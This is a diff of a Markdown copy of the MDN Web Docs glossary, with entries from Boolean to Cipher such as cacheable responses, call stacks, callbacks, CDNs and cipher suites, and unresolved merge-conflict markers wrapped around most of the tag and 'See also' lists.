+=======
+-   Boolean
+-   CodingScripting
+-   Glossary
+-   JavaScript
+-   Programming Languages
+-   data types
+>>>>>>> master
 
 ---
 
@@ -1127,6 +1637,10 @@ For example, in JavaScript, Boolean conditionals are often used to decide which
 Below is some JavaScript pseudocode (it's not truly executable code) demonstrating this concept.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 /* JavaScript if statement */
 if (boolean conditional) {
    // code to execute if the conditional is true
@@ -1152,20 +1666,35 @@ The Boolean value is named after English mathematician _interwiki("wikipedia", "
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Boolean data type", "Boolean"_) on Wikipedia
 - The JavaScript global object: _jsxref("Boolean"_)
 - [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures)
+=======
+-   _Interwiki("wikipedia", "Boolean data type", "Boolean"_) on Wikipedia
+-   The JavaScript global object: _jsxref("Boolean"_)
+-   [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures)
+>>>>>>> master
 
 ---
 
 ## Term: Boot2Gecko
 
+<<<<<<< HEAD
 - B2G
 - Boot2Gecko
 - Firefox OS
 - Glossary
 - Infrastructure
 - Intro
+=======
+-   B2G
+-   Boot2Gecko
+-   Firefox OS
+-   Glossary
+-   Infrastructure
+-   Intro
+>>>>>>> master
 
 ---
 
@@ -1175,11 +1704,19 @@ The Boolean value is named after English mathematician _interwiki("wikipedia", "
 
 ## Term: Bootstrap
 
+<<<<<<< HEAD
 - Bootstrap
 - CSS
 - Glossary
 - Intro
 - framework
+=======
+-   Bootstrap
+-   CSS
+-   Glossary
+-   Intro
+-   framework
+>>>>>>> master
 
 ---
 
@@ -1189,18 +1726,31 @@ Initially, Bootstrap was called Twitter Blueprint and was developed by a team wo
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Bootstrap (front-end framework)", "Bootstrap"_) on Wikipedia
 - [Download Bootstrap](https://getbootstrap.com/)
 - [Get started with the latest version](https://www.w3schools.com/bootstrap4/bootstrap_get_started.asp)
+=======
+-   _interwiki("wikipedia", "Bootstrap (front-end framework)", "Bootstrap"_) on Wikipedia
+-   [Download Bootstrap](https://getbootstrap.com/)
+-   [Get started with the latest version](https://www.w3schools.com/bootstrap4/bootstrap_get_started.asp)
+>>>>>>> master
 
 ---
 
 ## Term: Bounding Box
 
+<<<<<<< HEAD
 - Bounding Box
 - CodingScripting
 - Design
 - Glossary
+=======
+-   Bounding Box
+-   CodingScripting
+-   Design
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -1210,12 +1760,21 @@ Initially, Bootstrap was called Twitter Blueprint and was developed by a team wo
 
 ## Term: Breadcrumb
 
+<<<<<<< HEAD
 - Accessibility
 - Glossary
 - Navigation
 - Search
 - Site map
 - breadcrumb
+=======
+-   Accessibility
+-   Glossary
+-   Navigation
+-   Search
+-   Site map
+-   breadcrumb
+>>>>>>> master
 
 ---
 
@@ -1231,11 +1790,19 @@ Breadcrumb trails enable users to be aware of their location within a website. T
 
 ## Term: Brotli
 
+<<<<<<< HEAD
 - Brotli
 - Glossary
 - Reference
 - Web Performance
 - compression
+=======
+-   Brotli
+-   Glossary
+-   Reference
+-   Web Performance
+-   compression
+>>>>>>> master
 
 ---
 
@@ -1247,17 +1814,29 @@ Brotli is compatible with most modern browsers, but you may want to consider a f
 
 #### See also
 
+<<<<<<< HEAD
 - [brotli.org](https://brotli.org/)
 - [Brotli Github repository](https://github.com/google/brotli)
 - _interwiki("wikipedia", "Brotli"_) on Wikipedia
 - [Brotli on Caniuse](https://caniuse.com/#feat=brotli)
+=======
+-   [brotli.org](https://brotli.org/)
+-   [Brotli Github repository](https://github.com/google/brotli)
+-   _interwiki("wikipedia", "Brotli"_) on Wikipedia
+-   [Brotli on Caniuse](https://caniuse.com/#feat=brotli)
+>>>>>>> master
 
 ---
 
 ## Term: Browser
 
+<<<<<<< HEAD
 - Glossary
 - Navigation
+=======
+-   Glossary
+-   Navigation
+>>>>>>> master
 
 ---
 
@@ -1265,6 +1844,7 @@ Brotli is compatible with most modern browsers, but you may want to consider a f
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Web browser"_) on Wikipedia
 - [The evolution of the web](http://www.evolutionoftheweb.com/)
 - _Glossary("user agent"_) (Glossary)
@@ -1275,12 +1855,28 @@ Brotli is compatible with most modern browsers, but you may want to consider a f
     - [Google Chrome](https://www.google.com/chrome/)
     - [Microsoft Edge](https://www.microsoft.com/en-us/edge)
     - [Opera Browser](https://www.opera.com/)
+=======
+-   _Interwiki("wikipedia", "Web browser"_) on Wikipedia
+-   [The evolution of the web](http://www.evolutionoftheweb.com/)
+-   _Glossary("user agent"_) (Glossary)
+-   _HTTPHeader("User-agent"_) (HTTP Header)
+-   Download a browser
+
+    -   [Mozilla Firefox](https://www.mozilla.org/en-US/firefox/)
+    -   [Google Chrome](https://www.google.com/chrome/)
+    -   [Microsoft Edge](https://www.microsoft.com/en-us/edge)
+    -   [Opera Browser](https://www.opera.com/)
+>>>>>>> master
 
 ---
 
 ## Term: Browsing context
 
+<<<<<<< HEAD
 - Glossary
+=======
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -1292,16 +1888,27 @@ Communication between browsing context is severely constrained. Between browsing
 
 #### See also
 
+<<<<<<< HEAD
 - See _glossary("origin"_)
+=======
+-   See _glossary("origin"_)
+>>>>>>> master
 
 ---
 
 ## Term: buffer
 
+<<<<<<< HEAD
 - Buffer
 - CodingScripting
 - Glossary
 - NeedsContent
+=======
+-   Buffer
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -1309,16 +1916,27 @@ Communication between browsing context is severely constrained. Between browsing
 
 #### See also
 
+<<<<<<< HEAD
 - [Data buffer](https://en.wikipedia.org/wiki/Data_buffer) on Wikipedia
+=======
+-   [Data buffer](https://en.wikipedia.org/wiki/Data_buffer) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Bézier curve
 
+<<<<<<< HEAD
 - Bézier curve
 - Glossary
 - Graphics
 - Reference
+=======
+-   Bézier curve
+-   Glossary
+-   Graphics
+-   Reference
+>>>>>>> master
 
 ---
 
@@ -1332,24 +1950,41 @@ To draw the curve, two imaginary lines are drawn, one from P<sub>0</sub> to P<su
 
 #### See also
 
+<<<<<<< HEAD
 - [Bézier curve on Wikipedia](https://en.wikipedia.org/wiki/B%C3%A9zier_curve)
 - [Cubic Bézier timing functions in CSS](</en-US/docs/Web/CSS/easing-function#the_cubic-bezier()_class_of_timing_functions>)
 - _SVGAttr("keySplines"_) SVG attribute
+=======
+-   [Bézier curve on Wikipedia](https://en.wikipedia.org/wiki/B%C3%A9zier_curve)
+-   [Cubic Bézier timing functions in CSS](</en-US/docs/Web/CSS/easing-function#the_cubic-bezier()_class_of_timing_functions>)
+-   _SVGAttr("keySplines"_) SVG attribute
+>>>>>>> master
 
 ---
 
 ## Term: Cacheable
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
 > A **cacheable** response is an HTTP response that can be cached, that is stored to be retrieved and used later, saving a new request to the server. Not all HTTP responses can be cached, these are the following constraints for an HTTP response to be cached:
 
+<<<<<<< HEAD
 - The method used in the request is itself _cacheable_, that is either a _HTTPMethod("GET"_) or a _HTTPMethod("HEAD"_) method. A response to a _HTTPMethod("POST"_) or _HTTPMethod("PATCH"_) request can also be cached if freshness is indicated and the _HTTPHeader("Content-Location"_) header is set, but this is rarely implemented. (For example, Firefox does not support it per <https://bugzilla.mozilla.org/show_bug.cgi?id=109553>.) Other methods, like _HTTPMethod("PUT"_) or _HTTPMethod("DELETE"_) are not cacheable and their result cannot be cached.
 - The status code of the response is _known_ by the application caching, and it is considered _cacheable_. The following status code are cacheable: _HTTPStatus("200"_), _HTTPStatus("203"_), _HTTPStatus("204"_), _HTTPStatus("206"_), _HTTPStatus("300"_), _HTTPStatus("301"_), _HTTPStatus("404"_), _HTTPStatus("405"_), _HTTPStatus("410"_), _HTTPStatus("414"_), and _HTTPStatus("501"_).
 - There are _specific headers_ in the response, like _HTTPHeader("Cache-Control"_), that prevents caching.
+=======
+-   The method used in the request is itself _cacheable_, that is either a _HTTPMethod("GET"_) or a _HTTPMethod("HEAD"_) method. A response to a _HTTPMethod("POST"_) or _HTTPMethod("PATCH"_) request can also be cached if freshness is indicated and the _HTTPHeader("Content-Location"_) header is set, but this is rarely implemented. (For example, Firefox does not support it per <https://bugzilla.mozilla.org/show_bug.cgi?id=109553>.) Other methods, like _HTTPMethod("PUT"_) or _HTTPMethod("DELETE"_) are not cacheable and their result cannot be cached.
+-   The status code of the response is _known_ by the application caching, and it is considered _cacheable_. The following status code are cacheable: _HTTPStatus("200"_), _HTTPStatus("203"_), _HTTPStatus("204"_), _HTTPStatus("206"_), _HTTPStatus("300"_), _HTTPStatus("301"_), _HTTPStatus("404"_), _HTTPStatus("405"_), _HTTPStatus("410"_), _HTTPStatus("414"_), and _HTTPStatus("501"_).
+-   There are _specific headers_ in the response, like _HTTPHeader("Cache-Control"_), that prevents caching.
+>>>>>>> master
 
 Note that some non-cacheable requests/responses to a specific URI may invalidate previously cached responses on the same URI. For example, a _HTTPMethod("PUT"_) to pageX.html will invalidate all cached _HTTPMethod("GET"_) or _HTTPMethod("HEAD"_) requests to the same URI.
 
@@ -1386,16 +2021,27 @@ Cache-Control: no-cache
 
 #### See also
 
+<<<<<<< HEAD
 - Definition of [cacheable](https://datatracker.ietf.org/doc/html/rfc7231#section-4.2.3) in the HTTP specification.
 - Description of common cacheable methods: _HTTPMethod("GET"_), _HTTPMethod("HEAD"_)
 - Description of common non-cacheable methods: _HTTPMethod("PUT"_), _HTTPMethod("DELETE"_), often _HTTPMethod("POST"_)
+=======
+-   Definition of [cacheable](https://datatracker.ietf.org/doc/html/rfc7231#section-4.2.3) in the HTTP specification.
+-   Description of common cacheable methods: _HTTPMethod("GET"_), _HTTPMethod("HEAD"_)
+-   Description of common non-cacheable methods: _HTTPMethod("PUT"_), _HTTPMethod("DELETE"_), often _HTTPMethod("POST"_)
+>>>>>>> master
 
 ---
 
 ## Term: Cache
 
+<<<<<<< HEAD
 - Glossary
 - HTTP
+=======
+-   Glossary
+-   HTTP
+>>>>>>> master
 
 ---
 
@@ -1403,15 +2049,25 @@ Cache-Control: no-cache
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Web cache"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Web cache"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: CalDAV
 
+<<<<<<< HEAD
 - CalDAV
 - Glossary
 - Infrastructure
+=======
+-   CalDAV
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -1419,35 +2075,60 @@ Cache-Control: no-cache
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "CalDAV"_) on Wikipedia
 - [RFC 4791: Calendaring extensions to WebDAV (CalDAV)](https://datatracker.ietf.org/doc/html/rfc4791)
 - [RFC 6638: Scheduling Extensions to CalDAV](https://datatracker.ietf.org/doc/html/rfc6638)
+=======
+-   _Interwiki("wikipedia", "CalDAV"_) on Wikipedia
+-   [RFC 4791: Calendaring extensions to WebDAV (CalDAV)](https://datatracker.ietf.org/doc/html/rfc4791)
+-   [RFC 6638: Scheduling Extensions to CalDAV](https://datatracker.ietf.org/doc/html/rfc6638)
+>>>>>>> master
 
 ---
 
 ## Term: Call stack
 
+<<<<<<< HEAD
 - Call Stack
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   Call Stack
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
 > A **call stack** is a mechanism for an interpreter (like the JavaScript interpreter in a web browser) to keep track of its place in a script that calls multiple _glossary("function","functions"_) — what function is currently being run and what functions are called from within that function, etc.
 
+<<<<<<< HEAD
 - When a script calls a function, the interpreter adds it to the call stack and then starts carrying out the function.
 - Any functions that are called by that function are added to the call stack further up, and run where their calls are reached.
 - When the current function is finished, the interpreter takes it off the stack and resumes execution where it left off in the last code listing.
 - If the stack takes up more space than it had assigned to it, it results in a "stack overflow" error.
+=======
+-   When a script calls a function, the interpreter adds it to the call stack and then starts carrying out the function.
+-   Any functions that are called by that function are added to the call stack further up, and run where their calls are reached.
+-   When the current function is finished, the interpreter takes it off the stack and resumes execution where it left off in the last code listing.
+-   If the stack takes up more space than it had assigned to it, it results in a "stack overflow" error.
+>>>>>>> master
 
 ## Example
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function greeting() {
     // [1] Some code here
@@ -1497,20 +2178,35 @@ In summary, then, we start with an empty Call Stack. Whenever we invoke a functi
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Call stack"_) on Wikipedia
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Call stack"_)
     - _Glossary("Function"_)
+=======
+-   _Interwiki("wikipedia", "Call stack"_) on Wikipedia
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Call stack"_)
+    -   _Glossary("Function"_)
+>>>>>>> master
 
 ---
 
 ## Term: Callback function
 
+<<<<<<< HEAD
 - Callback
 - Callback function
 - CodingScripting
 - Glossary
+=======
+-   Callback
+-   Callback function
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -1520,9 +2216,14 @@ Here is a quick example:
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function greeting(name) {
     alert('Hello ' + name);
@@ -1542,15 +2243,25 @@ Note, however, that callbacks are often used to continue code execution after an
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Callback_(computer*programming)", "Callback"*) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Callback_(computer*programming)", "Callback"*) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Canonical order
 
+<<<<<<< HEAD
 - Canonical order
 - CodingScripting
 - Glossary
+=======
+-   Canonical order
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -1571,18 +2282,31 @@ Furthermore, its syntax defines, that if a value for the _cssxref("background-si
 
 #### See also
 
+<<<<<<< HEAD
 - [What does "canonical order" mean with respect to CSS properties?](https://stackoverflow.com/questions/28963536/what-does-canonical-order-mean-with-respect-to-css-properties) on Stack Overflow provides useful further discussion.
 - The [description of the formal syntax used for CSS values](/en-US/docs/Web/CSS/Value_definition_syntax) on MDN
+=======
+-   [What does "canonical order" mean with respect to CSS properties?](https://stackoverflow.com/questions/28963536/what-does-canonical-order-mean-with-respect-to-css-properties) on Stack Overflow provides useful further discussion.
+-   The [description of the formal syntax used for CSS values](/en-US/docs/Web/CSS/Value_definition_syntax) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: Canvas
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Graphics
 - HTML
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   Graphics
+-   HTML
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -1592,20 +2316,35 @@ It is a low level, procedural model that updates a [bitmap](https://en.wikipedia
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Canvas element", "Canvas"_) on Wikipedia
 - [The Canvas tutorial on MDN](/en-US/docs/Web/API/Canvas_API/Tutorial)
 - The HTML _HTMLElement("canvas"_) element on MDN
 - [The Canvas general documentation on MDN](/en-US/docs/Web/API/Canvas_API)
 - _domxref("CanvasRenderingContext2D"_): The canvas 2D drawing API
 - [The Canvas 2D API specification](https://www.w3.org/TR/2dcontext/)
+=======
+-   _Interwiki("wikipedia", "Canvas element", "Canvas"_) on Wikipedia
+-   [The Canvas tutorial on MDN](/en-US/docs/Web/API/Canvas_API/Tutorial)
+-   The HTML _HTMLElement("canvas"_) element on MDN
+-   [The Canvas general documentation on MDN](/en-US/docs/Web/API/Canvas_API)
+-   _domxref("CanvasRenderingContext2D"_): The canvas 2D drawing API
+-   [The Canvas 2D API specification](https://www.w3.org/TR/2dcontext/)
+>>>>>>> master
 
 ---
 
 ## Term: Card sorting
 
+<<<<<<< HEAD
 - Card sorting
 - Design
 - Glossary
+=======
+-   Card sorting
+-   Design
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -1613,15 +2352,25 @@ It is a low level, procedural model that updates a [bitmap](https://en.wikipedia
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Card_sorting", "Card sorting"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Card_sorting", "Card sorting"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: CardDAV
 
+<<<<<<< HEAD
 - CardDAV
 - Glossary
 - Infrastructure
+=======
+-   CardDAV
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -1629,13 +2378,19 @@ It is a low level, procedural model that updates a [bitmap](https://en.wikipedia
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "CardDAV"_) on Wikipedia
 - [RFC 6352: vCard Extensions to Web Distributed Authoring and Versioning (WebDAV)](https://datatracker.ietf.org/doc/html/rfc6352)
+=======
+-   _Interwiki("wikipedia", "CardDAV"_) on Wikipedia
+-   [RFC 6352: vCard Extensions to Web Distributed Authoring and Versioning (WebDAV)](https://datatracker.ietf.org/doc/html/rfc6352)
+>>>>>>> master
 
 ---
 
 ## Term: caret
 
+<<<<<<< HEAD
 - Cursor
 - Glossary
 - Input
@@ -1645,6 +2400,17 @@ It is a low level, procedural model that updates a [bitmap](https://en.wikipedia
 - text entry
 - text input
 - text insertion point
+=======
+-   Cursor
+-   Glossary
+-   Input
+-   caret
+-   insertion point
+-   text cursor
+-   text entry
+-   text input
+-   text insertion point
+>>>>>>> master
 
 ---
 
@@ -1656,7 +2422,11 @@ On the web, a caret is used to represent the insertion point in _HTMLElement("in
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Caret navigation"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Caret navigation"_) on Wikipedia
+>>>>>>> master
 
 ### CSS related to the caret
 
@@ -1666,6 +2436,7 @@ You can set the color of the caret for a given element's editable content by set
 
 These elements provide text entry fields or boxes and therefore make use of the caret.
 
+<<<<<<< HEAD
 - [`<input type="text">`](/en-US/docs/Web/HTML/Element/input/text)
 - [`<input type="password">`](/en-US/docs/Web/HTML/Element/input/password)
 - [`<input type="search">`](/en-US/docs/Web/HTML/Element/input/search)
@@ -1674,13 +2445,28 @@ These elements provide text entry fields or boxes and therefore make use of the
 - [`<input type="email">`](/en-US/docs/Web/HTML/Element/input/email), [`<input type="tel">`](/en-US/docs/Web/HTML/Element/input/tel), and [`<input type="url">`](/en-US/docs/Web/HTML/Element/input/url)
 - _HTMLElement("textarea"_)
 - Any element with its _htmlattrxref("contenteditable"_) attribute set
+=======
+-   [`<input type="text">`](/en-US/docs/Web/HTML/Element/input/text)
+-   [`<input type="password">`](/en-US/docs/Web/HTML/Element/input/password)
+-   [`<input type="search">`](/en-US/docs/Web/HTML/Element/input/search)
+-   [`<input type="date">`](/en-US/docs/Web/HTML/Element/input/date), [`<input type="time">`](/en-US/docs/Web/HTML/Element/input/time), [`<input type="datetime">`](/en-US/docs/Web/HTML/Element/input/datetime), and [`<input type="datetime-local">`](/en-US/docs/Web/HTML/Element/input/datetime-local)
+-   [`<input type="number">`](/en-US/docs/Web/HTML/Element/input/number)[, ](/en-US/docs/Web/HTML/Element/input/number)[`<input type="range">`](/en-US/docs/Web/HTML/Element/input/range)
+-   [`<input type="email">`](/en-US/docs/Web/HTML/Element/input/email), [`<input type="tel">`](/en-US/docs/Web/HTML/Element/input/tel), and [`<input type="url">`](/en-US/docs/Web/HTML/Element/input/url)
+-   _HTMLElement("textarea"_)
+-   Any element with its _htmlattrxref("contenteditable"_) attribute set
+>>>>>>> master
 
 ---
 
 ## Term: CDN
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -1688,17 +2474,29 @@ These elements provide text entry fields or boxes and therefore make use of the
 
 CDNs are used widely for delivering stylesheets and Javascript files (static assets) of libraries like Bootstrap, jQuery etc. Using CDN for those library files is preferable for a number of reasons:
 
+<<<<<<< HEAD
 - Serving libraries' static assets over CDN lowers the request burden on an organization's own servers.
 - Most CDNs have servers all over the globe, so CDN servers may be geographically nearer to your users than your own servers. Geographical distance affects latency proportionally.
 - CDNs are already configured with proper cache settings. Using a CDN saves further configuration for static assets on your own servers.
+=======
+-   Serving libraries' static assets over CDN lowers the request burden on an organization's own servers.
+-   Most CDNs have servers all over the globe, so CDN servers may be geographically nearer to your users than your own servers. Geographical distance affects latency proportionally.
+-   CDNs are already configured with proper cache settings. Using a CDN saves further configuration for static assets on your own servers.
+>>>>>>> master
 
 ---
 
 ## Term: Certificate authority
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -1712,20 +2510,35 @@ Certificate authorities are the part of the Internet [public key infrastructure]
 
 #### See also
 
+<<<<<<< HEAD
 - [Certificate authority](https://en.wikipedia.org/wiki/Certificate_authority) on Wikipedia
 - [Public key infrastructure](https://en.wikipedia.org/wiki/Public_key_infrastructure) on Wikipedia
 - [Mozilla Included CA Certificate List](https://wiki.mozilla.org/CA/Included_Certificates)
+=======
+-   [Certificate authority](https://en.wikipedia.org/wiki/Certificate_authority) on Wikipedia
+-   [Public key infrastructure](https://en.wikipedia.org/wiki/Public_key_infrastructure) on Wikipedia
+-   [Mozilla Included CA Certificate List](https://wiki.mozilla.org/CA/Included_Certificates)
+>>>>>>> master
 
 ---
 
 ## Term: Certified
 
+<<<<<<< HEAD
 - Apps
 - B2G
 - Firefox OS
 - Glossary
 - Security
 - Trustworthy
+=======
+-   Apps
+-   B2G
+-   Firefox OS
+-   Glossary
+-   Security
+-   Trustworthy
+>>>>>>> master
 
 ---
 
@@ -1735,13 +2548,21 @@ For details on certification in _glossary("Cryptography"_), please refer to _glo
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Professional_certification_(computer*technology)#Information_systems_security", "Certification"*) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Professional_certification_(computer*technology)#Information_systems_security", "Certification"*) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Challenge-response authentication
 
+<<<<<<< HEAD
 - Security
+=======
+-   Security
+>>>>>>> master
 
 ---
 
@@ -1751,14 +2572,23 @@ The [HTTP authentication protocol](/en-US/docs/Web/HTTP/Authentication) is chall
 
 #### See also
 
+<<<<<<< HEAD
 - [Challenge-response authentication](https://en.wikipedia.org/wiki/Challenge%E2%80%93response_authentication) on Wikipedia.
+=======
+-   [Challenge-response authentication](https://en.wikipedia.org/wiki/Challenge%E2%80%93response_authentication) on Wikipedia.
+>>>>>>> master
 
 ---
 
 ## Term: Character encoding
 
+<<<<<<< HEAD
 - Composing
 - Glossary
+=======
+-   Composing
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -1774,16 +2604,27 @@ This ensures that you can use characters from just about any human language in y
 
 #### See also
 
+<<<<<<< HEAD
 - [Character encoding on W3C](https://www.w3.org/International/articles/definitions-characters/)
 - _Interwiki("wikipedia", "Character encoding"_) on Wikipedia
+=======
+-   [Character encoding on W3C](https://www.w3.org/International/articles/definitions-characters/)
+-   _Interwiki("wikipedia", "Character encoding"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Character set
 
+<<<<<<< HEAD
 - Glossary
 - character encoding
 - character set
+=======
+-   Glossary
+-   character encoding
+-   character set
+>>>>>>> master
 
 ---
 
@@ -1795,20 +2636,35 @@ If a character set is used incorrectly (For example, Unicode for an article enco
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Character encoding"_) (Wikipedia)
 - _Interwiki("wikipedia", "Mojibake"_) (Wikipedia)
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Character"_)
     - _Glossary("Unicode"_)
+=======
+-   _Interwiki("wikipedia", "Character encoding"_) (Wikipedia)
+-   _Interwiki("wikipedia", "Mojibake"_) (Wikipedia)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Character"_)
+    -   _Glossary("Unicode"_)
+>>>>>>> master
 
 ---
 
 ## Term: Character
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - strings
+=======
+-   CodingScripting
+-   Glossary
+-   strings
+>>>>>>> master
 
 ---
 
@@ -1816,20 +2672,35 @@ If a character set is used incorrectly (For example, Unicode for an article enco
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Character (computing)"_) on Wikipedia
 - _interwiki("wikipedia", "Character encoding"_) on Wikipedia
 - _interwiki("wikipedia", "ASCII"_) on Wikipedia
 - _interwiki("wikipedia", "UTF-8"_) on Wikipedia
 - _interwiki("wikipedia", "Unicode"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Character (computing)"_) on Wikipedia
+-   _interwiki("wikipedia", "Character encoding"_) on Wikipedia
+-   _interwiki("wikipedia", "ASCII"_) on Wikipedia
+-   _interwiki("wikipedia", "UTF-8"_) on Wikipedia
+-   _interwiki("wikipedia", "Unicode"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Chrome
 
+<<<<<<< HEAD
 - Browser
 - Chrome
 - Glossary
 - WebMechanics
+=======
+-   Browser
+-   Chrome
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -1837,14 +2708,23 @@ If a character set is used incorrectly (For example, Unicode for an article enco
 
 #### See also
 
+<<<<<<< HEAD
 - [Browser and GUI Chrome](https://www.nngroup.com/articles/browser-and-gui-chrome/)
+=======
+-   [Browser and GUI Chrome](https://www.nngroup.com/articles/browser-and-gui-chrome/)
+>>>>>>> master
 
 ---
 
 ## Term: CIA
 
+<<<<<<< HEAD
 - Glossary
 - Security
+=======
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -1852,15 +2732,25 @@ If a character set is used incorrectly (For example, Unicode for an article enco
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Information_security#Key_concepts", "CIA"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Information_security#Key_concepts", "CIA"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Cipher suite
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -1868,6 +2758,7 @@ If a character set is used incorrectly (For example, Unicode for an article enco
 
 In a _Glossary("cryptosystem"_) like _Glossary("TLS"_), the client and server must agree on a cipher suite before they can begin communicating securely. A typical cipher suite looks like ECDHE_RSA_WITH_AES_128_GCM_SHA256 or ECDHE-RSA-AES128-GCM-SHA256, indicating:
 
+<<<<<<< HEAD
 - ECDHE (elliptic curve Diffie-Hellman ephemeral) for key exchange
 - RSA for authentication
 - AES-128 as the cipher, with Galois/Counter Mode (GCM) as the block cipher mode of operation
@@ -1876,15 +2767,32 @@ In a _Glossary("cryptosystem"_) like _Glossary("TLS"_), the client and server mu
 #### See also
 
 - [Mozilla recommended cipher suite choices for TLS](https://wiki.mozilla.org/Security/Server_Side_TLS)
+=======
+-   ECDHE (elliptic curve Diffie-Hellman ephemeral) for key exchange
+-   RSA for authentication
+-   AES-128 as the cipher, with Galois/Counter Mode (GCM) as the block cipher mode of operation
+-   SHA-256 as the hash-based message authentication code (HMAC)
+
+#### See also
+
+-   [Mozilla recommended cipher suite choices for TLS](https://wiki.mozilla.org/Security/Server_Side_TLS)
+>>>>>>> master
 
 ---
 
 ## Term: Cipher
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Privacy
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Privacy
+-   Security
+>>>>>>> master
 
 ---
 
@@ -1898,6 +2806,7 @@ Ciphers operate two ways, either as [block ciphers](https://en.wikipedia.org/wik
 
 They also are classified according to how their _glossary("key", "keys"_) are handled:
 
+<<<<<<< HEAD
 - [symmetric key](https://en.wikipedia.org/wiki/Symmetric_key_algorithm) algorithms use the same key to encode and decode a message. The key also must be sent securely if the message is to stay confidential.
 - [asymmetric key](https://en.wikipedia.org/wiki/Asymmetric_key_algorithm) algorithms use a different key for encryption and decryption.
 
@@ -1919,15 +2828,45 @@ They also are classified according to how their _glossary("key", "keys"_) are ha
     - _Glossary("Plaintext"_)
     - _Glossary("Public-key cryptography"_)
     - _Glossary("Symmetric-key cryptography"_)
+=======
+-   [symmetric key](https://en.wikipedia.org/wiki/Symmetric_key_algorithm) algorithms use the same key to encode and decode a message. The key also must be sent securely if the message is to stay confidential.
+-   [asymmetric key](https://en.wikipedia.org/wiki/Asymmetric_key_algorithm) algorithms use a different key for encryption and decryption.
+
+#### See also
+
+-   _Interwiki("wikipedia", "Cipher"_) on Wikipedia
+-   [Encryption and Decryption](/en-US/docs/Archive/Security/Encryption_and_Decryption)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Block cipher mode of operation"_)
+    -   _Glossary("Cipher"_)
+    -   _Glossary("Ciphertext"_)
+    -   _Glossary("Cipher suite"_)
+    -   _Glossary("Cryptanalysis"_)
+    -   _Glossary("Cryptography"_)
+    -   _Glossary("Decryption"_)
+    -   _Glossary("Encryption"_)
+    -   _Glossary("Key"_)
+    -   _Glossary("Plaintext"_)
+    -   _Glossary("Public-key cryptography"_)
